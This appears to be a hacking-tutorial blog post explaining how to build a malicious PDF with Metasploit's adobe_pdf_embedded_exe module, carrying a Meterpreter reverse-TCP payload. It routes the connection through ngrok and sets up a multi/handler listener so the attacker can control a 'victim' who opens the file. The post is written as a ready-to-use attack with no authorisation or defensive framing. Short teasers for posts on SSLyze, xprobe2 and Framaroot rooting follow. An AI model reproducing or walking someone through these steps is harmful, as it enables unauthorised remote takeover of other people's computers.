Skip to main content

How to Hack windows with pdf file using metasploit

 Hello guy's in this article we are going to discuss about how to hack windows with pdf file using metasploit. Just you follow this below step one by one


Requirements for android

  • Android version 5.0 and above
  • Termux application
  • Metasploit

How to create malicious Pdf file

Step 1:

First you open your terminal and type this below command this command will help you top metasploit on your terminal.
msfconsole

Step 2:

Now we choose exploit so type this below command this command will help you to create pdf exploit in your system
use exploit/windows/fileformat/adobe_pdf_embedded_exe

Step 3:

Once you choose exploit now type this below command this command will help you to set payload connection.
 set payload windows/meterpreter/reverse_tcp

Step 4:

Now we set LPORT and LHOST so run ngrok get lport and lhost if you use local host ip and port that will only work on same wifi connection so i preferred ngrok this will work on out of network.
 

Step 5:

Now we choose LHOST and LPORT in ngrok so type this following command in your metasploit terminal.
set LHOST ( your host id)
set LPORT (your port number)

Step 6:

Now we need to set pdf file name so type this below command on your metasploit terminal.
set FILENAME test.pdf

Step 7: 

Now type this below command this command will help you to make pdf payload in above configuration.
exploit

That's it guy's now our pdf will will be successfully created so next we need to run multi handler on your metasploit terminal once you run multi-handler you sent this pdf file to victim if victim click the pdf file in their system our multi handler session will opened we can control victim device remotely.

How to create listener in our metasploit

Just you type this below command in your metasploit one by one 
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST (your ip address)
set LPORT (your port number)
exploit

So as the victim opens the PDF file, a meterpreter connection will be eatablished. You can perform lots of operation after that. Just type help and there will be list of commands which you can execute

Comments

Popular posts from this blog

Sslyze-analyze the SSL configuration of a server by connecting to it

 What is SSLyze? SSLyze is a Python tool that can analyze the SSL configuration of a server by connecting to it. It is designed to be fast and comprehensive, and should help organizations and testers identify mis-configurations affecting their SSL servers. Feature of Sslyze Multi-processed and multi-threaded scanning (it’s fast) SSL 2.0/3.0 and TLS 1.0/1.1/1.2 compatibility Performance testing: session resumption and TLS tickets support Security testing: weak cipher suites, insecure renegotiation, CRIME, Heartbleed and more Server certificate validation and revocation checking through OCSP stapling Support for StartTLS handshakes on SMTP, XMPP, LDAP, POP, IMAP, RDP and FTP Support for client certificates when scanning servers that perform mutual authentication XML output to further process the scan results How to install sslyze Just you type this below command in your terminal this command's will help you to install sslyze on your computer and termux. Linux sudo apt-get install ssl...

xprobe2 - A Remote active operating system fingerprinting tool

What is Xprobe2? xprobe2 - A Remote active operating system fingerprinting tool xprobe2 is an active operating system fingerprinting tool with a different approach to operating system fingerprinting. xprobe2 relies on fuzzy signature matching, probabilistic guesses, multiple matches simultaneously, and a signature database. The operation of xprobe2 is described in a paper titled " xprobe2 - A 'Fuzzy ' Approach to Remote Active Operating System Fingerprinting" Option's How to install Xprobe2 First you need to open your terminal after that you type this below command in your terminal this command will help you to install this xprobe2 package. Linux sudo apt install xprobe Termux pkg install xprobe How to use xprobe Just use this below command or see this below image. sudo xprobe2 ( Domain name ) Example's xprobe2 -v -D 1 -D 2 192.168.1.10 Will launch an OS fingerprinting attempt targeting 192.168.1.10. Modules 1 and 2, which are reachability tests, will be di...

Root android phone with one click without computer

 What is framaroot? Framaroot is a free android app which can root almost every device in one click without any need of PC/Computer. Framaroot has its own complex exploits which vary from device to device according to its chipset model and android version. In newer versions of Framaroot, you can unroot your android phone in one click too Feature of Framaroot Root android phone with one click Install SuperSu Unroot or execute Advanced user How to Download and install Framaroot First you download framaroot application on your android phone so click this below download button. Now Install it with a file explorer or directly from your internet browser, if android warn you about security risk, say OK and check Unknown sources to allow install of applications outside of Play Store. How to use Open your Framaroot and select one of the following action: Install SuperSU, Unroot or Execute script (for advanced users) Possible case once application is launched A popup saying "Your device see...